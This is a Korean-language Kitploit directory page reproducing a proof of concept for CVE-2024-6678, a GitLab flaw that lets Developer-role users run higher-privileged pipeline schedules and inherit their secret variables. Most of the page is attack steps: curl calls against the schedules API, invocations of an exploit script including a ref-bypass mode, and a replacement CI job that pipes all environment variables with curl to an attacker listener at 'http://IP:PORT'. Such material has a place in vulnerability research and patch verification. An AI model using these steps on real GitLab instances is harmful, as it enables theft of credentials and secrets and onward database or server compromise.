Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-6678 — PoC for CVE-2024-6678 | Kitploit
도구/GitHubGitHub/fallenskill1/cve-2024-6678
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

PoC for CVE-2024-6678

저장소 보기
413개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-6678 - GitLab: Pipeline Schedule Arbitrary User Trigger

CVE-2024-6678 PoC

취약점 설명

GitLab은 사용자가 'Play' 버튼을 통해 CI/CD 파이프라인 스케줄(Pipeline Schedule)을 수동으로 실행할 수 있도록 합니다. 이 취약점은 'play' 기능이 Developer 권한을 가진 모든 사용자(스케줄 소유자뿐만 아니라)가 스케줄을 실행할 수 있게 하는 점에 있습니다. 이로 인해 두 가지 결과가 발생합니다:

  1. 개발자가 더 높은 권한을 가진 사용자(Maintainer / Owner)가 생성하고 설정한 스케줄을 실행합니다.
  2. 실행된 파이프라인은 Developer가 API를 통해 볼 수 있는 권한이 없음에도 불구하고 스케줄의 환경 변수(민감한 정보 포함)를 상속받습니다.

이때 최종 영향은 스케줄 변수에 저장된 내용에 따라 달라집니다. 예를 들어 DB_PASSWORD 변수는 전체 데이터베이스 덤프를 가능하게 하고, SSH_PRIVATE_KEY는 RCE를 가능하게 합니다.

재현 단계

사전 요구 사항

  • GitLab CE/EE, 버전 8.14 ~ 17.1.6 / 17.2.4 / 17.3.1
  • 대상 프로젝트에서 Developer 권한을 가진 공격자 계정
  • 프로젝트에 최소 하나의 활성 파이프라인 스케줄이 존재
  • 스케줄이 보호되지 않은 브랜치(예: develop, staging)를 대상으로 함 — 또는 프로젝트에 짧은 형식의 ref(우회)가 있는 스케줄이 존재

중요: 보호된 브랜치(예: refs/heads/main, 보호 활성화 시)의 스케줄은 PipelineSchedulePolicy#protected_ref 정책에 의해 차단되며 HTTP 403을 반환합니다. 공격은 보호되지 않은 브랜치에서 작동하며, 실제 운영 자격 증명이 포함된 통합 및 스테이징 스케줄이 자주 생성되는 곳이 바로 이러한 브랜치입니다.

1단계: 스케줄 목록 가져오기

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

더 높은 권한을 가진 사용자(Maintainer/Owner)가 소유한 스케줄을 찾습니다.

2단계: 스케줄 실행

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

예상 응답: HTTP 201 — 파이프라인이 대기열에 추가됨.

파이프라인은 공격자 이름으로 생성되지만(current_user), 스케줄의 모든 변수(소유자가 설정한 API 키, 토큰, 자격 증명 등 포함)를 포함합니다.

HTTP 500 "Unable to schedule pipeline run immediately" — 예상된 동작입니다. 이는 Sidekiq 중복 제거(deduplicate :until_executed) 때문입니다: 해당 스케줄의 작업이 이전 성공적인 실행에서 이미 대기열에 있습니다. 즉, 공격이 이미 이전에 성공했으며 작업이 실행을 기다리고 있음을 의미합니다.

3단계: 공격자 이름으로 파이프라인 생성 확인

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

PoC 사용법

root@kitploit:~
# 기본 실행: 자동 스케줄 선택
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# 특정 스케줄 지정
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# GraphQL 사용 (--project-path 필요)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# legacy-ref 우회 확인
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42 image

PoC가 트리거되기 전에 develop 브랜치의 .gitlab-ci.yml을 다음으로 대체합니다: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

이 모든 내용이 리스너로 전송됩니다

image_2026-05-21_19-05-58

링크

  • GitLab Security Advisory
  • NVD: CVE-2024-6678
도구 다운로드